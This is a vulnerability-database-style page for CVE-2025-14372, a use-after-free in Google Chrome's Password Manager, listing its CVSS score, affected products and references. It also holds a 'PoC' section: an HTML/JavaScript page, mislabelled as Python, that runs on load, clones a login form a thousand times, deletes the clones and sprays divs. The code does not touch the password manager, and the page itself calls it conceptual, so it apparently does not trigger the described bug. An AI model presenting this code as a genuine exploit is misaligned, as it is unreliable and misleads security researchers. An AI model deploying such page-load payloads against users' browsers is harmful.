CVE-2025-14372

Description

Use after free in Password Manager in Google Chrome prior to 143.0.7499.110 allowed a remote attacker to potentially perform a sandbox escape via a crafted HTML page. (Chromium security severity: Medium)

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

cpe:2.3:a:google:chrome:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:linux:linux_kernel:-:*:*:*:*:*:*:* - NOT VULNERABLE

cpe:2.3:o:microsoft:windows:-:*:*:*:*:*:*:* - NOT VULNERABLE

Google Chrome < 143.0.7499.110

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- CVE-2025-14372 PoC - Chrome Password Manager Use After Free -->
<!-- This is a conceptual PoC demonstrating the attack vector -->
<!DOCTYPE html>
<html>
<head>
    <title>CVE-2025-14372 PoC</title>
</head>
<body>
    <h1>Chrome Password Manager UAF PoC</h1>
    <form id="loginForm" action="https://example.com/login">
        <input type="text" id="username" name="username" value="testuser">
        <input type="password" id="password" name="password" value="testpass">
        <button type="submit">Login</button>
    </form>
    <script>
        // Trigger conditions for UAF in Password Manager
        // This PoC demonstrates the attack vector, actual exploitation requires more sophisticated techniques
        
        async function triggerUAF() {
            // Step 1: Interact with password manager to allocate memory
            const form = document.getElementById('loginForm');
            const usernameField = document.getElementById('username');
            const passwordField = document.getElementById('password');
            
            // Step 2: Manipulate DOM to trigger memory corruption conditions
            // In real exploit, this would involve precise heap feng shui
            for (let i = 0; i < 1000; i++) {
                const clone = form.cloneNode(true);
                document.body.appendChild(clone);
            }
            
            // Step 3: Trigger garbage collection or memory pressure
            // to cause the UAF condition in password manager
            setTimeout(() => {
                document.querySelectorAll('form').forEach(f => f.remove());
                // Force GC if available
                if (window.gc) window.gc();
            }, 100);
            
            // Step 4: Reallocate freed memory with controlled data
            // to achieve code execution or sandbox escape
            setTimeout(() => {
                for (let i = 0; i < 1000; i++) {
                    const div = document.createElement('div');
                    div.style.cssText = 'position:absolute;width:100px;height:100px;';
                    document.body.appendChild(div);
                }
            }, 200);
        }
        
        // Execute when page loads
        document.addEventListener('DOMContentLoaded', triggerUAF);
    </script>
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-14372
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-14372
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-14372/
[4] VulDB https://vuldb.com/cve/CVE-2025-14372
[5] https://chromereleases.googleblog.com/2025/12/stable-channel-update-for-desktop_10.html
[6] https://issues.chromium.org/issues/460599518

Raw JSON Data

JSON

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